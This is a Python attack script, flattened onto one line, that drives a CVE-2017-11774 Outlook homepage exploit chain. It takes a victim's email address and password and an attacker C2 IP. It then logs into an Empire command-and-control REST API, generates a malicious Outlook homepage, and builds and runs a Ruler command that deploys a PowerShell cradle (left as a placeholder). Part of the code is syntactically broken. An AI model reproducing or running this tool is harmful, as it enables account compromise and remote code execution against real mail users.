from ruler_helper import * #from restful import * will be added in a few weeks from spotter import * import os import subprocess #load empire in a separate terminal and run this on another tmux works ;) #make sure to save ruler under the name u specify and change in tool def dirty_work(username_rest,password_rest,rest_ip,rest_port,name,target_name,target_email,homepage,owa_user,owa_passwd,autodiscover_url,ps_cradle): try: print('-'*50) print('Generating Restful Client Interface') print('-'*50) RestFul_Interface = Restful_Client(username_rest,password_rest,rest_ip,rest_port)# for post exploitation #now we have a connected object with a token so we can interact with the restful api print(RestFul_Interface) print('-'*50) print('Generating CVE-2017-11774 Outlook Attack Chain') print('-'*50) Attack_Chain_Tool = Attack_Chain(name,target_name,target_email,homepage,owa_user,owa_passwd,autodiscover_url) name = Attack_Chain_Tool.name target_username = Attack_Chain_Tool.username target_password = Attack_Chain_Tool.password target_name = Attack_Chain_Tool.target_name email = Attack_Chain_Tool.email homepage = Attack_Chain_Tool.homepage hosts_location_loot = Attack_Chain_Tool.hosts_location_loot autodiscover_url = Attack_Chain_Tool.autodiscover print("Name: "+name) print("Target Name: "+target_name) print("Target Username: "+target_username) print("Target Password: "+target_password) print("Target Email: "+email) print("Target HomePage: "+homepage) print("Target Loot Location: "+hosts_location_loot) print("Target Autodiscover Url: "+autodiscover_url) print('-'*50+"\n") #now we need to set up the post exploitation part to get a stager to use here print('Generating malicious HomePage Vector') home_page_path,external_page = Attack_Chain_Tool.gen_homepage_path() #print('Homepage Location: '+home_page_path) page_result,ruler_command = Attack_Chain_Tool.gen_page_normal(ps_cradle) return page_result,ruler_command,home_page_path,external_page,Attack_Chain_Tool except: pass def main(): empire_pass = sys.argv[1] ip_c2 = sys.argv[2] vic_email = sys.argv[3] vic_login = sys.argv[4] mail_pass = sys.argv[5] try: mal_page,command_ruler,home_page_path,external_page,Attack_Chain_Tool = dirty_work('empireadmin',empire_pass,ip_c2,'1337','test','test victim',vic_email,'http://192.168.1.1',vic_login,mail_pass,'https://outlook.office365.com',"\"POWERSHELL CODE GOESSS HERE !!\"") print(mal_page) try: result = " ".join(str(x) for x in command_ruler) print(result) ruler_output = Attack_Chain_Tool.ruler_execute(result) print(ruler_output) except: print("") pass except: pass try: except: pass main()